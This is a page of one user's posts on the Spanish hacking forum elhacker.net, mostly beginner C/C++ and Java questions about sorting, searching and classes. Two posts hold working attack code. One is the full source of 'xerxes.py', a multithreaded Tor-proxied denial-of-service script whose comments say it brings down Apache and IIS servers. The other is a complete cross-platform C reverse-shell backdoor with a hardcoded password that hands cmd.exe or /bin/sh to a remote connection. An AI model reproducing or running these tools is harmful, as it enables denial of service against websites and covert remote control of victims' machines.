elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Mensajes
Páginas: 1 2 3 [4] 5 6
31  Programación / Programación C/C++ / Re: Pasar Array de una funcion a otra en: 1 Junio 2014, 01:31 am
tienes que inicializar esta variable

Código
  1. int art;
32  Programación / Programación C/C++ / Re: de nuevo con insercion directa en: 27 Mayo 2014, 06:02 am

gracias vos sos un geek !!  ;D
33  Programación / Programación C/C++ / Re: de nuevo con insercion directa en: 26 Mayo 2014, 17:53 pm
No escribas en mayuscula y depuralo.

lo siento, te explico amigo moderador sucede que tampoco soy un craneo en programacion hasta aqui es q mis neuronas dan y e hecho el mayor esfuerzo en hacerlo yo mismo pero ya en este punto no se que hacer y pido que practicamente alguien sepa mucho mas me diga cual es la forma en que deberia colocar la funcion ya sea proporcionandome un ejemplo que me haga entender.

aqui seria mi ayuda

Código
  1. void ordenar_pares_impares(int vector[], int elementos)
  2. {
  3.   int i, j, t;
  4.     for (i=1; i<elementos; i++)
  5.     {
  6.         j=i;
  7.         t=vector[j];
  8.         if(t%2==0)
  9.         {
  10.         while (j>0 && vector[j-1]>t)
  11.         {
  12.             vector[j]=vector[j-1];
  13.             j--;
  14.         }
  15.         }
  16.         else
  17.         {
  18.         while (j>0 && vector[j-1]<t)
  19.         {
  20.             vector[j]=vector[j-1];
  21.             j--;
  22.         }
  23.         }
  24. vector[j]=t;
  25.     }
  26.  
  27.   printf("\n\nel vector par-impar ordenado es: ");
  28.   //imprimimos el vector con su respectivo ordenamiento
  29.   for(int n=0;n<elementos;n++)
  30. {
  31. printf("\n dato %d es %d", (n+1), vector[n]);
  32. }
  33.  
  34. char letra;
  35. printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
  36. letra=getch();
  37.  
  38. if (letra =='s')
  39. {
  40. busqueda_secuencial(vector,elementos);
  41. }
  42. }
34  Programación / Programación C/C++ / Re: de nuevo con insercion directa en: 26 Mayo 2014, 17:30 pm
SI ESO YA LO HABIA ARREGLADO GRACIAS PERO MI DUDA ES SOBRE EL TITULO DE LA PUBLICACION
35  Programación / Programación C/C++ / de nuevo con insercion directa en: 26 Mayo 2014, 17:12 pm
EDITO!!

gracias a las sugerencias y ayuda dada, modifico mi publicacion con el code ya arreglado y funcional. saludos  :rolleyes:

Código
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <conio.h>
  4.  
  5. /* Escriba un programa en lenguaje C que realice las siguientes tareas:
  6. 1).- Leer entrada de "N" números enteros positivos mayor que cero
  7. (SOLO MAYOR QUE CERO, NO IGUAL O MENOR QUE CERO).  (LISTO)
  8.  
  9. 2).- Usar el método de ordenamiento de inserción,
  10. de tal forma que los números impares ocurran o se escriban antes de los pares en el vector
  11.  
  12. 3).- Ordenar los pares en forma ascendente y los impares en forma descendente. (LISTO)
  13.  
  14. 4).- Usar el método de búsqueda para hallar un numero o elemento "A"
  15. a través del método de búsqueda SECUENCIAL introducido por teclado. MOSTRAR SU POSICIÓN. (LISTO)
  16.  
  17. CONSIDERACIONES:
  18. 1) Si no hay números pares leídos ordenar descendentes. (LISTO)
  19. 2) si no hay números impares leídos ordenar ascendente  (LISTO)
  20. 3) si hay números Pares/impares ordenar según el PUNTO N° 3 ANTES MENCIONADO (LISTO)
  21. */
  22.  
  23.  
  24.  
  25. //prototipo de funcion ordenamiento
  26.  
  27.  
  28. void ordenar_impares_descendentes(int vector[], int elementos);//CONSIDERACION NUMERO 1
  29. void ordenar_pares_ascendentes(int vector[], int elementos);//CONSIDERACION NUMERO 2
  30. void ordenar_pares_impares(int vector[], int elementos);//CONSIDERACION NUMERO 3
  31. void busqueda_secuencial(int vector[], int elementos); //PUNTO NUMERO 4
  32.  
  33.  
  34. //inicia main
  35. int main()
  36.  
  37. {
  38.  
  39. //PEDIMOS LA CANTIDAD DE NUMEROS QUE DESEAMOS GUARDAR EN EL VECTOR
  40. printf("cuantos elementos desea almacenar? ");
  41. int* v,elementos;
  42. scanf("%d",&elementos);
  43.  
  44.  
  45. /* Reservar memoria para almacenar n enteros */
  46.  
  47. v = (int*)malloc(elementos * sizeof(int)); //UN VECTOR QUE TENDRA LAS DIMENCIONES DE LOS NUMEROS A ALMACENAR
  48.  
  49. /* Verificamos que la asignación se haya realizado correctamente */
  50. if (v== NULL)
  51. {
  52. /* Error al intentar reservar memoria */
  53. }
  54.  
  55.  
  56. //CONTINUAMOS A LLENAR EL VECTOR YA DECLARADO
  57.  
  58.  
  59. printf("\nIngrese los valores de su lista");
  60.  
  61. int valor_temporal, par=0, impar=0, n;
  62. for(n=0;n<elementos;)
  63. {
  64.  
  65. printf("\n Ingrese el dato %d: ",(n+1));
  66. scanf("%d",&valor_temporal);
  67. //COMPROBAMOS QUE EL DIGITO ES MAYOR A CERO
  68. if(valor_temporal>0)
  69. {
  70. v[n]=valor_temporal;//almacenamos el digito
  71. n++; //avanzamos de posicion
  72. if(valor_temporal%2==0)//comprobamos si es par para mas adelante realizar la operacion necesaria
  73. {
  74. par=1;
  75. }
  76. else  //caso contrario es impar
  77. {
  78.    impar=1;
  79. }
  80. }
  81. else
  82. {
  83. printf("\nIntroduzca un numero mayor a cero");
  84. }
  85.  
  86. }
  87.  
  88. //MOSTRAMOS AL OPERADOR QUE LOS NUMEROS SON ALMACENADOS EN EL ORDEN QUE FUERON INTRODUCIDOS
  89.  
  90. printf("\nlos numeros introducidos son:");
  91.  
  92. for(int n=0;n<elementos;n++)
  93. {
  94. printf("\n dato %d es %d", (n+1), v[n]);
  95. }
  96.  
  97.  
  98. //PROCEDEMOS A REALIZAR LAS OPERACIONES NECESARIAS EN BASE A SI EXISTEN PARES, IMPARES O AMBOS EN EL VECTOR
  99.  
  100.  
  101. if(par==1 && impar==1)
  102. {
  103. //funcion de pares e impares
  104. ordenar_pares_impares(v,elementos);
  105. }
  106.  
  107. else if(par==1 && impar==0)
  108. {
  109. //funcion de pares ascendentes
  110. ordenar_pares_ascendentes(v,elementos);
  111. }
  112. else if(par==0 && impar==1)
  113. {
  114. //funcion de impares descendentes
  115. ordenar_impares_descendentes(v,elementos);
  116. }
  117.  
  118. free (v);
  119. system("pause");
  120. return 0;
  121. }
  122.  
  123. //FUNCION PARA ORDENAR DE MANERA ASCENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN PARES
  124. void ordenar_pares_ascendentes(int vector[], int elementos)
  125. {
  126.   int i,j,v;
  127.  
  128.     for (i = 1; i < elementos; i++)
  129.        {
  130.             v = vector[i];
  131.             j = i - 1;
  132.             while (j >= 0 && vector[j] > v)
  133.             {
  134.                   vector[j + 1] = vector[j];
  135.                   j--;
  136.             }
  137.  
  138.             vector[j + 1] = v;
  139.       }
  140.  
  141.   printf("\n\nel vector par ordenado de forma ascendente es: ");
  142.   //imprimimos el vector con su respectivo ordenamiento
  143.   for(int n=0;n<elementos;n++)
  144. {
  145. printf("\n dato %d es %d", (n+1), vector[n]);
  146. }
  147.  
  148. char letra;
  149. printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
  150. letra=getch();
  151.  
  152. if (letra =='s')
  153. {
  154. busqueda_secuencial(vector,elementos);
  155. }
  156. }
  157.  
  158.  
  159. //FUNCION PARA ORDENAR DE MANERA DSECENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN IMPARES
  160. void ordenar_impares_descendentes(int vector[], int elementos)
  161. {
  162.   int i, j, t;
  163.     for (i=1; i<elementos; i++)
  164.     {
  165.         j=i;
  166.         t=vector[j];
  167.         while (j>0 && vector[j-1]<t)//NOTESE QUE SOLO SE NECESITA CAMBIAR UN SIGNO EN ESTE CONDICIONAL PARA QUE SEA DESCENDENTE
  168.         {
  169.             vector[j]=vector[j-1];
  170.             j--;
  171.         }
  172.         vector[j]=t;
  173.     }
  174.  
  175.   printf("\n\nel vector impar ordenado de forma descendente es: ");
  176.   //imprimimos el vector con su respectivo ordenamiento
  177.   for(int n=0;n<elementos;n++)
  178. {
  179. printf("\n dato %d es %d", (n+1), vector[n]);
  180. }
  181.  
  182. char letra;
  183. printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
  184. letra=getch();
  185.  
  186. if (letra =='s')
  187. {
  188. busqueda_secuencial(vector,elementos);
  189. }
  190. }
  191.  
  192. //FUNCION PARA EL CASO EN QUE EXISTAN PARES E IMPARES EN EL VECTOR
  193. //LOS IMPARES SE COLOCARAN PRIMEROS EN EL VECTOR Y DE MANERA DESCENDENTE
  194. //LOS PARES  SE COLOCARAN EN LAS SIGUIENTES POSICIONES DE MANERA ASCENDENTE
  195.  
  196. void ordenar_pares_impares(int vector[], int elementos)
  197. {
  198.   int i, j, t,n;
  199.     for (i=1; i<elementos; i++)
  200.     {
  201.         j=i;
  202.         t=vector[j];
  203.         if(t%2==0)
  204.         {
  205.         while (j>0 && vector[j-1]>t && vector[j-1]%2==0)
  206.         {
  207.             vector[j]=vector[j-1];
  208.             j--;
  209.         }
  210.         }
  211.         else
  212.         {
  213.         while (j>0 && (vector[j-1]<t || vector[j-1]%2==0))
  214.         {
  215.             vector[j]=vector[j-1];
  216.             j--;
  217.         }
  218.         }
  219.         vector[j]=t;
  220.     }
  221.  
  222.   printf("\n\nel vector par-impar ordenado es: ");
  223.   //imprimimos el vector con su respectivo ordenamiento
  224.   for(int n=0;n<elementos;n++)
  225. {
  226. printf("\n dato %d es %d", (n+1), vector[n]);
  227. }
  228.  
  229. char letra;
  230. printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
  231. letra=getch();
  232.  
  233. if (letra =='s')
  234. {
  235. busqueda_secuencial(vector,elementos);
  236. }
  237. }
  238.  
  239. // BUSQUEDA SECUENCIAL
  240.  
  241. void busqueda_secuencial(int vector[], int elementos)
  242. {
  243.     int encontrar;
  244. printf("\nEscriba un numero por favor:");
  245.    scanf("%d", &encontrar);
  246.    printf("\nUsted ingreso %d: ",encontrar);
  247.    for (int i=0;i<elementos;i++)
  248. {
  249.         if (vector[i] == encontrar)
  250. {
  251.             printf("\nNumero encontrado en la posicion [%d] del vector",(i+1));
  252.         }
  253. else
  254. {
  255.         printf("\nNumero no encontrado en la posicion [%d] del vector",(i+1));
  256.         }
  257.     }
  258.   // FIN BUSQUEDA SECUENCIAL
  259. }
36  Programación / Java / implementar una clase en: 16 Abril 2014, 22:43 pm
buenas qusiera que me ayudaran, no puedo implementar este codigo es sencillo solo quiero llamar desde la clase main, la clase Operaciones para realizar uno de los metodos pero el netbeans no me deja compilarlo

Código
  1. public class Operaciones
  2. {
  3. public static double suma(double a, double b)
  4. {
  5. return a+b;
  6. }
  7. public static double resta(double a, double b)
  8. {
  9. return a-b;
  10. }
  11. public static double multiplica(double a, double b)
  12. {
  13. return a*b;
  14. }
  15. public static double divide(double a, double b)
  16. {
  17. return a/b;
  18. }
  19. public static double modulo(double a, double b)
  20. {
  21. return a % b;
  22. }
  23. }
  24.  
  25. public class PruebaOperaciones
  26. {
  27. public static void main (String args[])
  28. {
  29. System.out.println( Operaciones.multiplica(Operaciones.suma(2, 3), 8) );
  30. }
  31. }
  32.  


favor diganme que esta mal ya que no soy muy conocedor de java me estoy iniciando
37  Seguridad Informática / Hacking / ayuda con code python en: 25 Junio 2013, 03:28 am
buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido

Código
  1. #!/usr/bin/python
  2.  
  3. # this assumes you have the socks.py (http://phiral.net/socks.py)
  4. # and terminal.py (http://phiral.net/terminal.py) in the
  5. # same directory and that you have tor running locally
  6. # on port 9050. run with 128 to 256 threads to be effective.
  7. # kills apache 1.X with ~128, apache 2.X / IIS with ~256
  8. # not effective on nginx
  9.  
  10. import os
  11. import re
  12. import time
  13. import sys
  14. import random
  15. import math
  16. import getopt
  17. import socks
  18. import string
  19. import terminal
  20.  
  21. from threading import Thread
  22.  
  23. global stop_now
  24. global term
  25.  
  26. stop_now = False
  27. term = terminal.TerminalController()
  28.  
  29. class httpPost(Thread):
  30.    def __init__(self, host, port, tor):
  31.        Thread.__init__(self)
  32.        self.host = host
  33.        self.port = port
  34.        self.socks = socks.socksocket()
  35.        self.tor = tor
  36.        self.running = True
  37.  
  38.    def _send_http_post(self, pause=10):
  39.        global stop_now
  40.  
  41.        while True:
  42.            if stop_now:
  43.                self.running = False
  44.                break
  45.            p = "."
  46.            print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
  47.            self.socks.send(p)
  48.  
  49.        self.socks.close()
  50.  
  51.    def run(self):
  52.        while self.running:
  53.            while self.running:
  54.                try:
  55.                    if self.tor:    
  56.                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  57.                    self.socks.connect((self.host, self.port))
  58.                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  59.                    break
  60.                except Exception, e:
  61.                    if e.args[0] == 106 or e.args[0] == 60:
  62.                        break
  63.                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  64.                    time.sleep(1)
  65.                    continue
  66.  
  67.            while self.running:
  68.                try:
  69.                    self._send_http_post()
  70.                except Exception, e:
  71.                    if e.args[0] == 32 or e.args[0] == 104:
  72.                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  73.                        self.socks = socks.socksocket()
  74.                        break
  75.                    time.sleep(0.1)
  76.                    pass
  77.  
  78. def usage():
  79.    print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n"
  80.  
  81. def main(argv):
  82.  
  83.    try:
  84.        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  85.    except getopt.GetoptError:
  86.        usage()
  87.        sys.exit(-1)
  88.  
  89.    global stop_now
  90.  
  91.    target = ''
  92.    threads = 256
  93.    tor = True
  94.    port = 80
  95.  
  96.    for o, a in opts:
  97.        if o in ("-h", "--help"):
  98.            usage()
  99.            sys.exit(0)
  100.        if o in ("-T", "--tor"):
  101.            tor = True
  102.        elif o in ("-t", "--target"):
  103.            target = a
  104.        elif o in ("-r", "--threads"):
  105.            threads = int(a)
  106.        elif o in ("-p", "--port"):
  107.            port = int(a)
  108.  
  109.    if target == '' or int(threads) <= 0:
  110.        usage()
  111.        sys.exit(-1)
  112.  
  113.    print term.DOWN + term.RED + "/*" + term.NORMAL
  114.    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  115.    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  116.    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
  117.    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  118.  
  119.    rthreads = []
  120.    for i in range(threads):
  121.        t = httpPost(target, port, tor)
  122.        rthreads.append(t)
  123.        t.start()
  124.  
  125.    while len(rthreads) > 0:
  126.        try:
  127.            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  128.        except KeyboardInterrupt:
  129.            print "\nShutting down threads...\n"
  130.            for t in rthreads:
  131.                stop_now = True
  132.                t.running = False
  133.  
  134. if __name__ == "__main__":
  135.    main(sys.argv[1:])
  136.  
38  Programación / Programación C/C++ / Re: [c] Cambiar de color? en: 19 Marzo 2013, 06:41 am
Código
  1. HWND CurrentWin;
  2. CurrentWin = GetForegroundWindow();
  3. HANDLE consol;
  4. consol = GetStdHandle(STD_OUTPUT_HANDLE);
  5. SetConsoleTextAttribute(consol,FOREGROUND_BLUE);

tambien podrias emplearlo ya que asi te evitas tener que llamar a otro proceso dentro del tuyo en este caso el comando "color"
39  Programación / Programación C/C++ / keybd_event en: 19 Marzo 2013, 06:36 am
no consigo cual es el equivalente para usar en linux de keybd_event para que me ayuden porfa y como es el uso de dicha funcion
40  Programación / Programación C/C++ / backdoor multiplatafor en: 3 Septiembre 2011, 00:00 am
me gustaria q lo probaran y me digan si les funciona :) solo lo e corrido en win xp y knoppix 5

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. //cabecera y librerias segun SO
  5.  
  6. #ifdef WIN32
  7. #include <winsock2.h>
  8. #pragma comment(lib,"ws2_32.lib")
  9.  
  10. #else
  11.  
  12. #include <netdb.h>
  13. #include <sys/socket.h>
  14. #define SOCKET_ERROR -1
  15.  
  16. #endif
  17.  
  18. #define PASSWORD "mi_pass\0"
  19. //contraseña
  20. char Buffer[1024]; //variable para enviar/recibir datos
  21. int Recv; //para saber cuantos datos hemos transmitido
  22.  
  23. int sock;
  24. int ReverseShell(char *Destino, short Puerto,char *pwd);
  25.  
  26. /*funcion principal*/
  27.  
  28. int main()
  29. {
  30.  
  31.    for(;;)
  32.    {
  33.           if(send(sock,"",0,0)<=0)
  34.           {
  35.  
  36. #ifdef WIN32
  37. WSACleanup();
  38. #else
  39. close(sock);
  40. #endif
  41.  
  42. ReverseShell("localhost",4664,PASSWORD);
  43. }
  44. #ifdef WIN32
  45. Sleep(100);
  46. #else
  47. sleep(100);
  48. #endif
  49. }
  50.  
  51. return 0;
  52. }
  53.  
  54.  
  55. int ReverseShell(char *Destino, short Puerto, char *pwd)
  56. {
  57.    int Loggea();
  58.    struct hostent *Master;
  59.    struct sockaddr_in Winsock_In;
  60.  
  61.    //si estamos en windows cargamos la libreria
  62.    #ifdef WIN32
  63.  
  64.    STARTUPINFO start_proc;
  65.    PROCESS_INFORMATION info_proc;
  66.    OSVERSIONINFO SOinfo;
  67.    WSADATA wsaData;
  68.  
  69.    char *shell;
  70.    //iniciamos la libreria para  crear socket
  71.    WSAStartup(MAKEWORD(2,2),/*version del socket*/ &wsaData /*estrutura que recibe las propiedades del socket*/);
  72.  
  73.    if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL))==INVALID_SOCKET)
  74.    return 0;
  75.  
  76.    #else
  77.  
  78.    if((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
  79.    return 0;
  80.  
  81.    #endif
  82.  
  83.    Master=gethostbyname(Destino);
  84.    Winsock_In.sin_family=AF_INET;
  85.    //IPv4
  86.    Winsock_In.sin_port=htons(Puerto);
  87.    //puerto al que conectar
  88.  
  89.    Winsock_In.sin_addr= *((struct in_addr *)
  90.    Master->h_addr); //host al que conectar
  91.  
  92.    #ifdef WIN32
  93.  
  94.    if(WSAConnect(sock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  95.    return 0;
  96. #else
  97.  
  98. if(connect(sock,(struct sock_addr *)&Winsock_In,sizeof(struct sockaddr))==SOCKET_ERROR)
  99. return 0;
  100.  
  101. #endif
  102.  
  103. if(Loggea()==0)
  104. return 0;
  105.  
  106. #ifdef WIN32
  107. //rellenamos la estructura
  108.  
  109. memset(&start_proc,0,sizeof(start_proc));//limpiamos
  110. start_proc.cb=sizeof(start_proc);
  111. start_proc.dwFlags=STARTF_USESTDHANDLES;
  112.  
  113. start_proc.wShowWindow=SW_HIDE;
  114. start_proc.hStdInput=(HANDLE)sock;
  115. start_proc.hStdOutput=(HANDLE)sock;
  116. start_proc.hStdError=(HANDLE)sock;
  117.  
  118. GetVersionEx(&SOinfo);
  119. if(SOinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
  120. {
  121.    shell="command.com\0";
  122. }
  123. else
  124. {
  125.    shell="cmd.exe\0";
  126. }
  127.  
  128. //lanzamos la shell
  129.  
  130. if(CreateProcess(NULL,shell,NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
  131. {
  132.     return 1;
  133.     }
  134.     else
  135.     {
  136.         WSACleanup();
  137.         return 0;
  138.         }
  139. #else
  140.  
  141. if(fork()!=0)
  142. {
  143.             close(sock);
  144.             return 0;
  145.             }
  146. //duplicamos los handles del socket
  147.  
  148. dup2(sock,0);
  149. dup2(sock,1);
  150. dup2(sock,2);
  151.  
  152. if(!execl("/bin/sh'","sh",NULL))
  153. {
  154.     close(sock);
  155.     return 0;
  156.     }
  157.  
  158. #endif
  159.  
  160. return 1;
  161. }
  162.  
  163. //devulve 0 (incorrecto) / 1 (correcto)
  164.  
  165. int Loggea()
  166. {
  167.    if(PASSWORD!=NULL)
  168.    {
  169.                     do
  170.                     {
  171.                         //limpiamos el buffer
  172.                         memset(Buffer,0,sizeof(char*));
  173.                         //pedimos la  contraseña
  174.                         send(sock,"\n[#] Introduce la password: ",strlen("\n[#]Introduce la password: "),0);
  175.                         //recibimos los datos
  176.                         Recv=recv(sock,Buffer,1024,0);
  177.                         //comprobamos si ha cerrado la conexion
  178.                         if(Recv<=0)
  179.  
  180.                                    return 0;
  181.                                    Buffer[Recv-1]='\0';
  182.                                    }
  183.  
  184.                                    while(strcmp(Buffer,PASSWORD)!=0);
  185.                                    send(sock,"[#]Aceptada!\n\n",strlen("[#]Aceptada!\n\n)"),0);
  186.                                    }
  187.  
  188.                                    return 1;
  189.                                    }
  190.  
Páginas: 1 2 3 [4] 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines